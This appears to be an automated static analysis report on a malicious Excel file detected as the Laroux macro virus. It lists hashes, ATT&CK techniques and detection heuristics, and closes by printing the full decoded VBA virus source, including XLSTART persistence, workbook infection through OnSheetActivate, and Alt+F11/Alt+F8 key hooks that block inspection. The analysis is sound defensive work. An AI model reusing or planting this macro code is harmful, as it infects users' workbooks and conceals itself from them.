Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 38d9b3485138d2a8…

MALICIOUS

Office (OLE)

25.0 KB Created: 2014-12-09 09:36:37 Authoring application: Microsoft Excel First seen: 2015-01-15
MD5: 6026c5e39518e811ffafdf9e95a7c00e SHA-1: 1d6c7af530b3fc87fdb95b1faa0d0294d6fcc00d SHA-256: 38d9b3485138d2a8ba87b43d6be73a961c7452193464298d9cbf7d0df406c97c
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1070.004 File Deletion T1564.001 Hidden Files and Directories

The VBA macro in this Excel file is designed to achieve persistence by copying itself to the Excel XLSTART startup folder as 'StartUp.xls'. It also hooks Excel's 'OnSheetActivate' event and uses 'OnKey' to evade detection and potentially spread to other workbooks. The ClamAV detection 'Doc.Macro.Laroux-5893719-0' further confirms its malicious nature.

Heuristics 6

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
    Application.OnSheetActivate = "StartUp.xls!cop"
  • VBA hooks the VBE-editor / macro-list keys to evade inspection high OLE_VBA_VBE_KEY_HOOK_EVASION
    The macro reroutes Alt+F11 (Visual Basic editor) and/or Alt+F8 (macro list) through Application.OnKey, so an analyst's attempt to open the macro code is intercepted. This anti-analysis trick is a hallmark of resident Excel macro viruses hiding the viral module while it is loaded.
    Matched line in script
    Application.OnKey "%{F11}", "StartUp.xls!escape"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1176 bytes
SHA-256: 9e8ce1401c4739b83f9e6a6842670f92d64e220d4214f18d0db5f915102b51a3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.